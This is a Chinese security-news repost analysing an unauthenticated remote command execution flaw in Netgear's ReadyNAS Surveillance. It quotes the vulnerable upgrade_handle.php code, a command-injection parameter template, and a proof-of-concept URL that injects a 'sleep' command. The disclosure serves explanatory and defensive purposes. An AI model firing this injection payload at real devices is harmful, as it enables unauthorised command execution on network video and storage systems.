安全路透社
当前位置:安全路透社 > 网络转载 > 正文

美国网件ReadyNAS监控系统非认证远程命令执行漏洞分析

背景

R**eadyNAS监控系统是网件公司提出的可直接在ReadyNAS存储设备上安装的,简单易用的网络视频记录软件。安装一些连网的摄像头,监控系统就可以运行了。**

漏洞描述

网件公司的ReadyNAS监控系统发现有非认证的远程命令执行漏洞。

传递给upgrade_handle.php的用户输入没有进行严格的过滤。

{if(constant("NEED_UPLOAD_FROM_DISK")){if(isset($_GET['uploaddir']))

{$uploaddir=$_GET['uploaddir'];

$fp=fopen(UPLOAD_CONF_PATH,'w');

$strData="server.upload-dirs=(\"".$uploaddir."\")\n";

fwrite($fp,$strData);fclose($fp);

$current_dir=system('cat'.PHP_CINF_PATH.'|grep\'upload_tmp_dir\'');

$tmp_upload_dir='upload_tmp_dir='.$uploaddir;

$cmd="sed-i's/".str_replace('/','\/',$current_dir)."/".str_replace('/','\/',$tmp_upload_dir)."/g'".PHP_CINF_PATH;

//system("echo\"$uploaddir\">".UPGRADE_DIR_PATH);

$file=fopen(UPGRADE_DIR_PATH,"w");

if($file)

fwrite($file,"[UPLOAD]\n");

fwrite($file,"upload_dir=\"".$uploaddir."\"\n");fclose($file);

header("Content-type:application/xml\r\n\r\n");

echo"Modifyuploaddirectoryok";

从上面的代码中,我们可以看到$_GET[‘uploaddir’]没有转义(过滤),就直接通过 $tmp_upload_dir传递给system()。

else if( 0 == strcmp($_GET['cmd'],'writeuploaddir') )

通过发送下面的参数,就可以执行输入的命令

'?cmd=writeuploaddir&uploaddir=%27;COMMAND_TO_EXECUTE;%27'

PoC

http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27

厂商回应

该漏洞于6月27日被通报给网件公司,但公司拒绝透露相关技术细节以及修复的时间点。

参考来源:https://blogs.securiteam.com/index.php/archives/3409

未经允许不得转载:安全路透社 » 美国网件ReadyNAS监控系统非认证远程命令执行漏洞分析

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册